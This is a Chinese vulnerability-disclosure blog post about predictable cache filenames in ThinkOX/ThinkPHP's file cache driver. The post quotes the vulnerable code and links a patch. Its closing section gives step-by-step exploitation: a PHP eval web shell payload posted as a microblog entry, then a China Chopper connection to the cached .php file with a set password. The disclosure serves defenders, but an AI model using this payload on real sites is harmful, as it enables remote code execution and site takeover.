ThinkOX全版本通杀0day

  • A+
所属分类:漏洞时代
摘要

影响版本:
ThinkOX全版本通杀(onethink和thinkphp框架可能会受影响,具体懒得去做,谁有兴趣自己分析。)
漏洞描述:
通过动态缓存机制,输入非法内容。恶意执行php代码。
修复方案:
临时解决方案,通过强化缓存的文件名规则,让动态缓存文件难以被反向找到。
修复补丁下载地http://pan.baidu.com/s/1gdAFMSz
详细描述:
CnSeuTeam在2014.11.11重新建站,为了区别以前的风格,我们重(bei)新(bi)改(wu)版(nai),我们就使用到了ThinkOX这套基于onethink和thinkphp框架的程序。
为了站点安全考虑,所以很多会员问我们使用到什么程序的时候,我们没有明确的去告知,只是想用更多的时间去了解这个系统,并进行众多bug、漏洞的修复,直到近期完善了所有安全配置,也审计了大部分的代码。(其实我特烦thinkphp的结构,不过摸清楚了倒是感觉挺有意思的。)
在前天的时候,有个会员说用户名长度超过12字符后无法修改个性签名,正好我刚刚起床闲着,所以就去修复了,依稀记得我已经很久没挖洞了,不过为了网站安全,没办法,谁让咱们CnSeuTeam也用这个ThinkOX程序呢。(其实我想说那天我看代码看入迷了,看了一下午。。。)
在发现此框架会写出一个Runtime临时文件夹进行缓存的时候,我突然脑洞大开,虽然不怎么熟悉thinkphp但愣是去查了个遍,然后。。。。就没有然后了。。。(2333333)

影响版本:
ThinkOX全版本通杀(onethinkthinkphp框架可能会受影响,具体懒得去做,谁有兴趣自己分析。)
漏洞描述:
通过动态缓存机制,输入非法内容。恶意执行php代码。
修复方案:
临时解决方案,通过强化缓存的文件名规则,让动态缓存文件难以被反向找到。
修复补丁下载地http://pan.baidu.com/s/1gdAFMSz
详细描述:
CnSeuTeam在2014.11.11重新建站,为了区别以前的风格,我们重(bei)新(bi)改(wu)版(nai),我们就使用到了ThinkOX这套基于onethink和thinkphp框架的程序。
为了站点安全考虑,所以很多会员问我们使用到什么程序的时候,我们没有明确的去告知,只是想用更多的时间去了解这个系统,并进行众多bug、漏洞的修复,直到近期完善了所有安全配置,也审计了大部分的代码。(其实我特烦thinkphp的结构,不过摸清楚了倒是感觉挺有意思的。)
在前天的时候,有个会员说用户名长度超过12字符后无法修改个性签名,正好我刚刚起床闲着,所以就去修复了,依稀记得我已经很久没挖洞了,不过为了网站安全,没办法,谁让咱们CnSeuTeam也用这个ThinkOX程序呢。(其实我想说那天我看代码看入迷了,看了一下午。。。)
在发现此框架会写出一个Runtime临时文件夹进行缓存的时候,我突然脑洞大开,虽然不怎么熟悉thinkphp但愣是去查了个遍,然后。。。。就没有然后了。。。(2333333)

问题代码部分:
路径:ThinkPHP/Library/Think/Cache/Driver/File.class.php

/**        * 取得变量的存储文件名        * @access private        * @param string $name 缓存变量名        * @return string        */       private function filename($name) {           $name        =        md5($name);           if(C('DATA_CACHE_SUBDIR')) {               // 使用子目录                     $dir   ='';               for($i=0;$ioptions['temp'].$dir)) {                   mkdir($this->options['temp'].$dir,0755,true);               }               $filename        =        $dir.$this->options['prefix'].$name.'.php';           }else{               $filename        =        $this->options['prefix'].$name.'.php';           }           return $this->options['temp'].$filename;       }

明白了吧。。。尼玛脑洞大开呀。。。。
漏洞利用方法:(仅供技术研究,请勿非法使用,由此产生的后果自行负责!)
第一步.注册ThinkOX

第二步.发布微博

;}//; @eval($_POST['cnseu']);?> //

第三步.审查元素查看Weibo_ID
第四步.将Weibo_ID转换成16位MD5
第五步.进入拿出菜刀连接http://xxxxxxx/Runtime/Temp/7e565e1bdae3c535dc0a559bcb5c83cd.php 密码:cnseu

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: